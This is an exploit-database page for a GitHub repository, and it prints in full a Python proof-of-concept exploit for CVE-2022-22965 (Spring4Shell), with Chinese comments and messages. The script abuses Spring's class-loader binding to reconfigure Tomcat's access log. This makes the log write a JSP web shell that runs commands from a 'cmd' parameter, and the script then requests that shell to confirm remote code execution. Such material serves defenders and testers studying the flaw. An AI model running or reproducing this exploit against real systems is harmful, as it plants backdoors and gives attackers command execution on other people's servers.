Exploit database

GH-f1614d28711ceb4ae1bcdd873894f69c

likewhite/cve-2022-22965

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2022-22965

88 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files6
likewhite/cve-2022-22965Revision 9c354545931f

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2022-22965.py

Python · 3,049 bytes
#coding:utf-8

import requests
import argparse
from urllib.parse import urljoin
from urllib.parse import urlparse


def run_exploit(url, directory, filename):
    headers = {
        "prefix": "<%",
        "suffix": "%>//",
        # 用于绕过某些log_pattern检查
        "c": "Runtime",
        "Content-Type": "application/x-www-form-urlencoded"
    }

    log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \
           f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \
           f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \
           f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"

    log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
    log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"
    log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"
    log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

    data = "&".join([log_pattern, log_file_suffix, log_file_dir, log_file_prefix, log_file_date_format])

    try:
        # 开始攻击
        requests.post(url, headers=headers, data=data, timeout=15, allow_redirects=False, verify=False)
    except Exception as e:
        print(e)
        pass


def main():
    parser = argparse.ArgumentParser(description='Spring Core RCE')
    parser.add_argument('--url',help='目标url', required=True)
    parser.add_argument('--file', help='写入shell的文件名,默认为shell', required=False, default="shell")
    parser.add_argument('--dir', help='写入目标地址. 类似于webapps/[appname],默认使用webapps/ROOT',
                        required=False, default="webapps/ROOT")

    file_arg = parser.parse_args().file
    dir_arg = parser.parse_args().dir
    url_arg = parser.parse_args().url

    filename = file_arg.replace(".jsp", "")

    if url_arg is None:
        print("输入目标地址 --url")
        return

    try:
        run_exploit(url_arg, dir_arg, filename)
        print("[+] 攻击利用结束")
        print("[+] 检查目标地址")
        print("[+] 文件名为: " + filename + ".jsp")

        if dir_arg:
            location = urlparse(url_arg).scheme + "://" + urlparse(url_arg).netloc + "/" + filename + ".jsp"
        else:
            location = f"使用默认地址. (访问 /{filename}.jsp?cmd=id"
        shellurl = urljoin(url_arg, filename+'.jsp')
        print(shellurl)
        shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False)
        if shellgo.status_code == 200:
            print(f"漏洞存在,shell地址为:{location}?cmd=id")
        else:
            print("未能利用成功")
    except Exception as e:
        print(e)


if __name__ == '__main__':
    main()